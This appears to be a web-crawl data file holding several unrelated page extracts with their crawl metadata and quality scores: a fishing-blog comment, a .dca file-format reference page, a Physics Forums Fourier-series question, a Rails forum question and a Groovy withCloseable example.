5. Meh. I've depended on F&S for years for high quality gear tips and amazing writing. I continue to find fewer of each. I've also been really disappointed recently in their failure to do background research on political/scientific issues instead of taking talking points from their favorite hook-and-bullet nonprofits (even when I agree with F&S and the non-profit....facts are important). This article didn't help me figure out anything new, didn't make me laugh, didn't challenge me. Oh well.
ReplyDelete
Post a Comment
Popular posts from this blog
The 5 Best Tenkara Rods?
Tenkara Tuesday: Eye Catching New Rods
Gear Review Update: Tenkara Times TRY 360 Tenkara Rod
The 2017 Tenkara Bug Out
Saturday, July 22: Fishing The North Fork Middle Fork Willamette River | {
"url": "http://www.troutrageous.com/2015/01/f-outdoorsmans-guide-to-social-media.html",
"source_domain": "www.troutrageous.com",
"snapshot_id": "crawl=CC-MAIN-2017-34",
"warc_metadata": {
"Content-Length": "218511",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TN24GDHNVOQHXJ3DVUZRVGOIXCBQC57H",
"WARC-Concurrent-To": "<urn:uuid:667cb718-bb1e-462e-9b44-ba736adf4c99>",
"WARC-Date": "2017-08-18T14:24:01Z",
"WARC-IP-Address": "216.58.218.243",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:DO54HV3RQ3WZZOEPZV37GIUSBFO2Z65N",
"WARC-Record-ID": "<urn:uuid:737fda29-50c5-4073-8eb0-86a025e7f51e>",
"WARC-Target-URI": "http://www.troutrageous.com/2015/01/f-outdoorsmans-guide-to-social-media.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8480a2a0-28ad-429e-af5c-a860d478f29a>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-65-204-51.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-34\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for August 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
46,
47,
133,
134,
135,
136,
190,
225,
226,
272,
328,
371,
372,
373,
423,
424,
425,
440,
441,
787,
788,
1188,
1189,
1391,
1392,
1619,
1620,
1842,
1843,
1856,
1857,
2411,
2412,
2939,
2940,
2954,
2955,
2964,
2965,
3284,
3285,
3301,
3313,
3367,
3368,
3381,
4208,
4209,
4225,
4237,
4435,
4436,
4449,
4462,
4485,
4486,
4619,
4620,
4645,
4646,
4659,
4798,
4799,
4815,
5313,
5314,
5330,
5331,
5346,
5347,
5376,
5377,
5402,
5403,
5442,
5443,
5497,
5498,
5523,
5524
],
"line_end_idx": [
46,
47,
133,
134,
135,
136,
190,
225,
226,
272,
328,
371,
372,
373,
423,
424,
425,
440,
441,
787,
788,
1188,
1189,
1391,
1392,
1619,
1620,
1842,
1843,
1856,
1857,
2411,
2412,
2939,
2940,
2954,
2955,
2964,
2965,
3284,
3285,
3301,
3313,
3367,
3368,
3381,
4208,
4209,
4225,
4237,
4435,
4436,
4449,
4462,
4485,
4486,
4619,
4620,
4645,
4646,
4659,
4798,
4799,
4815,
5313,
5314,
5330,
5331,
5346,
5347,
5376,
5377,
5402,
5403,
5442,
5443,
5497,
5498,
5523,
5524,
5594
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5594,
"ccnet_original_nlines": 80,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4008333384990692,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.046666670590639114,
"rps_doc_frac_lines_end_with_ellipsis": 0.061728399246931076,
"rps_doc_frac_no_alph_words": 0.1991666704416275,
"rps_doc_frac_unique_words": 0.4694323241710663,
"rps_doc_mean_word_length": 4.5316596031188965,
"rps_doc_num_sentences": 78,
"rps_doc_symbol_to_word_ratio": 0.0508333295583725,
"rps_doc_unigram_entropy": 5.54638671875,
"rps_doc_word_count": 916,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03131775185465813,
"rps_doc_frac_chars_dupe_6grams": 0.03131775185465813,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02119971066713333,
"rps_doc_frac_chars_top_3gram": 0.0050590201281011105,
"rps_doc_frac_chars_top_4gram": 0.010599859990179539,
"rps_doc_books_importance": -471.3485412597656,
"rps_doc_books_importance_length_correction": -471.3485412597656,
"rps_doc_openwebtext_importance": -207.77491760253906,
"rps_doc_openwebtext_importance_length_correction": -207.77491760253906,
"rps_doc_wikipedia_importance": -175.12252807617188,
"rps_doc_wikipedia_importance_length_correction": -175.12252807617188
},
"fasttext": {
"dclm": 0.14040380716323853,
"english": 0.9717836976051331,
"fineweb_edu_approx": 1.0195163488388062,
"eai_general_math": 0.02691340073943138,
"eai_open_web_math": 0.20380771160125732,
"eai_web_code": 0.0015618799952790141
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "796.01",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": "Sports and Athletics"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "14",
"label": "Reviews/Critiques"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
3,518,325,931,377,062,400 | Files with dca file extension are related to the IBM DisplayWrite document format.
There are 2 other file types using
the DCA file extension!
empty icon.dca - Visual Basic active designer cache
empty icon.dca - DCA archive
Detailed description
Software that works with dca file extension
Add comment
Bookmark & share this page with others:
DCA file - IBM DisplayWrite document
What is dca file? How to open dca files?
File type specification:
Document file type icon Document file type
The dca file extension is associated with the DisplayWrite, a word processor, developed by IBM for IBM PC compatible computers.
The dca file stores document written in IBM DisplayWrite software.
This dca file type entry was marked as obsolete and no longer supported file format.
This type of file is no longer actively used and is most likely obsolete. This is typically the case for system files in old operating systems, file types from long discontinued software, or previous versions of certain file types (like documents, projects etc.) that were replaced in higher versions of their original programs.
The default software associated to dca file type:
DisplayWrite picture or screenshot
IBM logoDisplayWrite Other operating systems or devices software
Company or developer:
IBM
DisplayWrite WYSIWYG word processor that can significantly increase your productivity.
Help how to open:
Use IBM DisplayWrite to open *.dca files.
How to convert:
As far as we know, this .dca file type can't be converted to any other file format. This is usually the case of system, configuration, temporary, or data files containing data exclusive to only one software and used for its own purposes. Also some proprietary or closed file formats cannot be converted to more common file types in order to protect the intellectual property of the developer, which is for example the case of some DRM-protected multimedia files.
List of software applications associated to the .dca file extension
Recommended software programs are sorted by OS platform (Windows, macOS, Linux, iOS, Android etc.)
and possible program actions that can be done with the file: like open dca file, edit dca file, convert dca file, view dca file, play dca file etc. (if exist software for corresponding action in File-Extensions.org's database).
Hint:
Click on the tab below to simply browse between the application actions, to quickly get a list of recommended software, which is ableto perform the specified software action, such as opening, editing or converting dca files.
• Open dca file
• Edit dca file
• Create dca file
Software that open dca file - IBM DisplayWrite document
Programs supporting the exension dca on the main platforms Windows, Mac, Linux or mobile. Click on the link to get more information about DisplayWrite for open dca file action.
Other operating systems or devices:
Previous file extension
DBX file extension
File-Extensions.org > Document file types
Next file extension
file extension DCF
Follow us!
Enter any file extension without dot (e.g. pdf)
Search for file extension details and associated application(s)
RSS feed | {
"url": "https://www.file-extensions.org/dca-file-extension-ibm-displaywrite-document",
"source_domain": "www.file-extensions.org",
"snapshot_id": "crawl=CC-MAIN-2018-43",
"warc_metadata": {
"Content-Length": "30954",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RM34VWEOSALM5XJUC4QMXP2YFAEG7MK2",
"WARC-Concurrent-To": "<urn:uuid:464ca838-3a87-437b-9541-4b0b58147476>",
"WARC-Date": "2018-10-16T22:31:34Z",
"WARC-IP-Address": "78.24.14.154",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:W25THRKTH2VRDB6U7JPJQHFNGKM2VDOE",
"WARC-Record-ID": "<urn:uuid:14ec2515-4cf5-4f1f-9da8-63b4911ada01>",
"WARC-Target-URI": "https://www.file-extensions.org/dca-file-extension-ibm-displaywrite-document",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:fd9cb9b5-5b71-48d5-8373-56ca84e9545d>"
},
"warc_info": "isPartOf: CC-MAIN-2018-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-79-252-22.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
83,
84,
119,
143,
144,
196,
197,
226,
227,
248,
249,
293,
294,
306,
307,
347,
348,
385,
386,
427,
428,
453,
454,
497,
498,
626,
627,
694,
695,
780,
781,
1110,
1111,
1161,
1162,
1197,
1198,
1264,
1265,
1287,
1291,
1292,
1379,
1380,
1398,
1399,
1441,
1442,
1458,
1459,
1922,
1923,
1991,
1992,
2091,
2319,
2320,
2326,
2551,
2552,
2570,
2588,
2608,
2609,
2665,
2666,
2843,
2844,
2880,
2881,
2905,
2924,
2925,
2967,
2968,
2988,
3007,
3008,
3010,
3011,
3022,
3023,
3071,
3135,
3136
],
"line_end_idx": [
83,
84,
119,
143,
144,
196,
197,
226,
227,
248,
249,
293,
294,
306,
307,
347,
348,
385,
386,
427,
428,
453,
454,
497,
498,
626,
627,
694,
695,
780,
781,
1110,
1111,
1161,
1162,
1197,
1198,
1264,
1265,
1287,
1291,
1292,
1379,
1380,
1398,
1399,
1441,
1442,
1458,
1459,
1922,
1923,
1991,
1992,
2091,
2319,
2320,
2326,
2551,
2552,
2570,
2588,
2608,
2609,
2665,
2666,
2843,
2844,
2880,
2881,
2905,
2924,
2925,
2967,
2968,
2988,
3007,
3008,
3010,
3011,
3022,
3023,
3071,
3135,
3136,
3144
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3144,
"ccnet_original_nlines": 85,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.28743547201156616,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0327022410929203,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1480206549167633,
"rps_doc_frac_unique_words": 0.43647539615631104,
"rps_doc_mean_word_length": 5.159836292266846,
"rps_doc_num_sentences": 32,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.766185760498047,
"rps_doc_word_count": 488,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.04765687137842178,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.05837966874241829,
"rps_doc_frac_chars_top_3gram": 0.03177125006914139,
"rps_doc_frac_chars_top_4gram": 0.022637009620666504,
"rps_doc_books_importance": -218.25962829589844,
"rps_doc_books_importance_length_correction": -218.25962829589844,
"rps_doc_openwebtext_importance": -138.58409118652344,
"rps_doc_openwebtext_importance_length_correction": -138.58409118652344,
"rps_doc_wikipedia_importance": -135.57615661621094,
"rps_doc_wikipedia_importance_length_correction": -135.57615661621094
},
"fasttext": {
"dclm": 0.04140650853514671,
"english": 0.8863064646720886,
"fineweb_edu_approx": 2.7684531211853027,
"eai_general_math": 0.11601853370666504,
"eai_open_web_math": 0.3800588846206665,
"eai_web_code": 0.1447209119796753
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.462",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "1",
"label": "Factual"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
1,764,944,196,500,262,700 | 1. Limited time only! Sign up for a free 30min personal tutor trial with Chegg Tutors
Dismiss Notice
Dismiss Notice
Join Physics Forums Today!
The friendliest, high quality science and math community on the planet! Everyone who loves science is here!
Calculate the Fourier series of the function
1. Sep 10, 2012 #1
Calculate the Fourier series of the function $f$ defined on the interval [itex][\pi, -\pi][/itex] by
$$
f(\theta) =
\begin{cases} 1 & \text{if} \ 0\leq\theta\leq\pi\\
-1 & \text{if} \ -\pi < \theta < 0
\end{cases}.
$$
[itex]f[/itex] is periodic with period [itex]2\pi[/itex] and odd since [itex]f[/itex] is symmetric about the origin.
So [itex]f(-\theta) = -f(\theta)[/itex].
Let [itex]f(\theta) = \sum\limits_{n = -\infty}^{\infty}a_ne^{in\theta}[/itex].
Then [itex]f(-\theta) = \sum\limits_{n = -\infty}^{\infty}a_ne^{-in\theta} = \cdots + a_{-2}e^{2i\theta} + a_{-1}e^{i\theta} + a_0 + a_{1}e^{-i\theta} + a_{2}e^{-2i\theta}+\cdots[/itex]
[itex]-f(\theta) = \sum\limits_{n = -\infty}^{\infty}a_ne^{-in\theta} = \cdots - a_{-2}e^{-2i\theta} - a_{-1}e^{-i\theta} - a_0 - a_{1}e^{i\theta} - a_{2}e^{2i\theta}-\cdots[/itex]
[itex]a_0 = -a_0 = 0[/itex]
I have solved many Fourier coefficients but I can't think today.
What do I need to do next?
2. jcsd
3. Sep 10, 2012 #2
Why don't you just find the Fourier coefficients by using the usual formula?? That is
[tex]a_n=\frac{1}{2\pi}\int_{-\pi}^\pi f(x)e^{-inx}dx[/tex]
4. Sep 10, 2012 #3
LCKurtz
User Avatar
Science Advisor
Homework Helper
Gold Member
Or use the half-range sine expansion since it is an odd function.
Know someone interested in this topic? Share this thread via Reddit, Google+, Twitter, or Facebook
Similar Discussions: Calculate the Fourier series of the function
Loading... | {
"url": "https://www.physicsforums.com/threads/calculate-the-fourier-series-of-the-function.634938/",
"source_domain": "www.physicsforums.com",
"snapshot_id": "crawl=CC-MAIN-2018-09",
"warc_metadata": {
"Content-Length": "56895",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:JU4CGTRJHMKUS62YDJ4FMMMGNRGKZKUY",
"WARC-Concurrent-To": "<urn:uuid:f183dfe5-b3ad-47bf-9777-1a1110f228c9>",
"WARC-Date": "2018-02-21T10:07:31Z",
"WARC-IP-Address": "74.86.200.109",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:P2UKJLUUIN5G6OTX2WYZ3644TOXII7Z6",
"WARC-Record-ID": "<urn:uuid:823f3bb4-776d-4405-a01b-c8d9b4d9d0d3>",
"WARC-Target-URI": "https://www.physicsforums.com/threads/calculate-the-fourier-series-of-the-function.634938/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8ef4f0b9-1664-4bab-b78c-10f224a4984f>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-67-205-185.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-09\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for February 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
88,
107,
122,
149,
257,
258,
303,
304,
325,
430,
437,
453,
508,
547,
564,
571,
692,
737,
821,
1011,
1196,
1197,
1229,
1230,
1299,
1300,
1331,
1337,
1347,
1368,
1458,
1459,
1523,
1529,
1550,
1551,
1563,
1564,
1580,
1600,
1620,
1636,
1637,
1707,
1713,
1812,
1813,
1814,
1815,
1816,
1882
],
"line_end_idx": [
88,
107,
122,
149,
257,
258,
303,
304,
325,
430,
437,
453,
508,
547,
564,
571,
692,
737,
821,
1011,
1196,
1197,
1229,
1230,
1299,
1300,
1331,
1337,
1347,
1368,
1458,
1459,
1523,
1529,
1550,
1551,
1563,
1564,
1580,
1600,
1620,
1636,
1637,
1707,
1713,
1812,
1813,
1814,
1815,
1816,
1882,
1892
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1892,
"ccnet_original_nlines": 51,
"rps_doc_curly_bracket": 0.03488371893763542,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1741573065519333,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.005617979913949966,
"rps_doc_frac_lines_end_with_ellipsis": 0.01923076994717121,
"rps_doc_frac_no_alph_words": 0.46254682540893555,
"rps_doc_frac_unique_words": 0.6574074029922485,
"rps_doc_mean_word_length": 5.513888835906982,
"rps_doc_num_sentences": 19,
"rps_doc_symbol_to_word_ratio": 0.007490640040487051,
"rps_doc_unigram_entropy": 4.744760036468506,
"rps_doc_word_count": 216,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.2535684406757355,
"rps_doc_frac_chars_dupe_6grams": 0.2535684406757355,
"rps_doc_frac_chars_dupe_7grams": 0.2535684406757355,
"rps_doc_frac_chars_dupe_8grams": 0.15785054862499237,
"rps_doc_frac_chars_dupe_9grams": 0.15785054862499237,
"rps_doc_frac_chars_top_2gram": 0.03358522057533264,
"rps_doc_frac_chars_top_3gram": 0.047858938574790955,
"rps_doc_frac_chars_top_4gram": 0.062972292304039,
"rps_doc_books_importance": -229.68865966796875,
"rps_doc_books_importance_length_correction": -229.68788146972656,
"rps_doc_openwebtext_importance": -152.77679443359375,
"rps_doc_openwebtext_importance_length_correction": -152.77679443359375,
"rps_doc_wikipedia_importance": -135.3438262939453,
"rps_doc_wikipedia_importance_length_correction": -135.3438262939453
},
"fasttext": {
"dclm": 0.9487306475639343,
"english": 0.6694534420967102,
"fineweb_edu_approx": 1.8954284191131592,
"eai_general_math": 0.08677136898040771,
"eai_open_web_math": 0.8852806091308594,
"eai_web_code": 0.0006368799949996173
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "515.243",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Calculus and Mathematical analysis"
}
},
"secondary": {
"code": "515.24",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Calculus and Mathematical analysis"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
1,085,266,202,551,265,400 | Forum: Ruby on Rails Sorting Polymorphic Associations
Announcement (2017-05-07): www.ruby-forum.com is now read-only since I unfortunately do not have the time to support and maintain the forum any more. Please see rubyonrails.org/community and ruby-lang.org/en/community for other Rails- und Ruby-related community platforms.
Joe C. (Guest)
on 2006-05-18 19:00
Recently, I converted a single table inheritance design over to
polymorphic associations as that made a lot more sense from a database
perspective. One of the features of the ui, a drag and dropable list of
items, needs to be completely reworked though.
Instead of having one table with a "sort" column, I have 1 polymorphic
table "items" acting as a pointer to 3 or 4 other tables. This makes
the design of the drag and drop sort a lot more troublesome.
I was previously sorting the results of my find based on the "sort"
column. Now I am using a collect to gather all the associations of
"item" and I'm baffled how to implement this one.
Any ideas as to how I would tackle this?
This topic is locked and can not be replied to. | {
"url": "http://www.ruby-forum.com/topic/66204",
"source_domain": "www.ruby-forum.com",
"snapshot_id": "crawl=CC-MAIN-2018-34",
"warc_metadata": {
"Content-Length": "9567",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:7RY72IGNTJHNVCQTO5JIJWNATIY3SCQT",
"WARC-Concurrent-To": "<urn:uuid:6f523bcc-1afc-41cc-a8df-f14aacec64e1>",
"WARC-Date": "2018-08-14T06:51:12Z",
"WARC-IP-Address": "52.23.126.223",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:XZYSBYT2ER64YGMG5FFA4ZPSKV457764",
"WARC-Record-ID": "<urn:uuid:e765a2b0-e531-462f-be49-5e14727d9872>",
"WARC-Target-URI": "http://www.ruby-forum.com/topic/66204",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:40ee09f0-636e-40e5-9e13-896d2c010a70>"
},
"warc_info": "isPartOf: CC-MAIN-2018-34\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-113-243-226.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
54,
55,
328,
343,
363,
427,
498,
571,
618,
619,
690,
760,
821,
822,
890,
958,
1008,
1009,
1050
],
"line_end_idx": [
54,
55,
328,
343,
363,
427,
498,
571,
618,
619,
690,
760,
821,
822,
890,
958,
1008,
1009,
1050,
1097
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1097,
"ccnet_original_nlines": 19,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.357723593711853,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03252033144235611,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.23170731961727142,
"rps_doc_frac_unique_words": 0.6010928750038147,
"rps_doc_mean_word_length": 4.704917907714844,
"rps_doc_num_sentences": 15,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.432102680206299,
"rps_doc_word_count": 183,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.017421599477529526,
"rps_doc_frac_chars_top_3gram": 0.018583040684461594,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -86.13079071044922,
"rps_doc_books_importance_length_correction": -86.13079071044922,
"rps_doc_openwebtext_importance": -50.58927917480469,
"rps_doc_openwebtext_importance_length_correction": -41.46957015991211,
"rps_doc_wikipedia_importance": -37.03892135620117,
"rps_doc_wikipedia_importance_length_correction": -37.03892135620117
},
"fasttext": {
"dclm": 0.07481223344802856,
"english": 0.9387890100479126,
"fineweb_edu_approx": 0.9334861040115356,
"eai_general_math": 0.12573444843292236,
"eai_open_web_math": 0.2167201042175293,
"eai_web_code": 0.04289501905441284
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-6,988,377,857,983,275,000 | Search
October 17, 2017
Groovy Goodness: Make Sure Closeable Objects Are Closed Using withCloseable Method
If a class implements the Closeable interface Groovy adds the withCloseable method to the class. The withCloseable method has a closure as argument. The code in the closure is executed and then the implementation of the close method of the Closeable interface is invoked. The Closeable object is passed as argument to the closure, so we can refer to it inside the closure.
In the following example we have two objects that implement the Closeable interface. By using withCloseable we know for sure the close method is invoked after all the code in the closure is executed:
@Grab(group='org.apache.httpcomponents', module='httpclient', version='4.5.3')
import org.apache.http.impl.client.HttpClientBuilder
import org.apache.http.client.methods.HttpGet
// HttpClientBuilder.create().build() returns a CloseableHttpClient
// that implements the Closeable interface. Therefore we can use
// the withCloseable method to make sure the client is closed
// after the closure code is executed.
HttpClientBuilder.create().build().withCloseable { client ->
final request = new HttpGet('http://www.mrhaki.com')
// The execute method returns a CloseableHttpResponse object
// that implements the Closeable interface. We can use
// withCloseable method to make sure the response is closed
// after the closure code is executed.
client.execute(request).withCloseable { response ->
assert response.statusLine.statusCode == 200
}
}
Written with Groovy 2.4.12. | {
"url": "https://blog.mrhaki.com/2017/10/groovy-goodness-make-sure-closeable.html",
"source_domain": "blog.mrhaki.com",
"snapshot_id": "crawl=CC-MAIN-2020-50",
"warc_metadata": {
"Content-Length": "32511",
"Content-Type": "application/http; msgtype=response",
